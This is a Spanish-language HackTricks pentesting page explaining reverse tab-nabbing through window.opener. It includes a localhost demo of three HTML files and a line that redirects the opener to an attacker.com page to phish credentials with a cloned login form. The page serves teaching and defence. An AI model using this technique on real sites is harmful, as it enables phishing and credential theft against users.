hacktricks/pentesting-web/reverse-tab-nabbing.md

6.7 KiB

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Descripción

En una situación donde un atacante puede controlar el argumento href de una etiqueta <a con el atributo target="_blank" rel="opener" que va a ser clicado por una víctima, el atacante puede apuntar este enlace a una web bajo su control (un sitio web malicioso). Entonces, una vez que la víctima hace clic en el enlace y accede al sitio web del atacante, este sitio web malicioso podrá controlar la página original a través del objeto javascript window.opener.
Si la página no tiene rel="opener" pero contiene target="_blank" y tampoco tiene rel="noopener" también podría ser vulnerable.

Una forma común de abusar de este comportamiento sería cambiar la ubicación de la web original a través de window.opener.location = https://attacker.com/victim.html a una web controlada por el atacante que se vea como la original, de modo que pueda imitar el formulario de inicio de sesión del sitio web original y pedir credenciales al usuario.

Sin embargo, ten en cuenta que como el atacante ahora puede controlar el objeto ventana del sitio web original puede abusar de él de otras formas para realizar ataques más sigilosos (quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)

Resumen

Con enlace de retroceso

Enlace entre páginas padre e hijo cuando no se utiliza el atributo de prevención:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Sin enlace de retroceso

Enlace entre páginas padre e hijo cuando se utiliza el atributo de prevención:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Ejemplos

Crea las siguientes páginas en una carpeta y ejecuta un servidor web con python3 -m http.server
Luego, accede a http://127.0.0.1:8000/vulnerable.html, haz clic en el enlace y observa cómo la URL del sitio web original cambia.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% endcode %}

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% endcode %}

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Propiedades accesibles

En el escenario donde ocurre un acceso cross-origin (acceso entre diferentes dominios), las propiedades de la instancia de la clase JavaScript window, referenciadas por el objeto JavaScript opener, que pueden ser accedidas por un sitio malicioso se limitan a las siguientes:

  • opener.closed: Esta propiedad se accede para determinar si una ventana ha sido cerrada, devolviendo un valor booleano.
  • opener.frames: Esta propiedad proporciona acceso a todos los elementos iframe dentro de la ventana actual.
  • opener.length: El número de elementos iframe presentes en la ventana actual es devuelto por esta propiedad.
  • opener.opener: Una referencia a la ventana que abrió la ventana actual se puede obtener a través de esta propiedad.
  • opener.parent: Esta propiedad devuelve la ventana padre de la ventana actual.
  • opener.self: Esta propiedad proporciona acceso a la ventana actual en sí misma.
  • opener.top: Esta propiedad devuelve la ventana del navegador más superior.

Sin embargo, en casos donde los dominios son idénticos, el sitio malicioso obtiene acceso a todas las propiedades expuestas por la referencia del objeto JavaScript window.

Prevención

La información de prevención está documentada en la Hoja de Trucos de HTML5.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: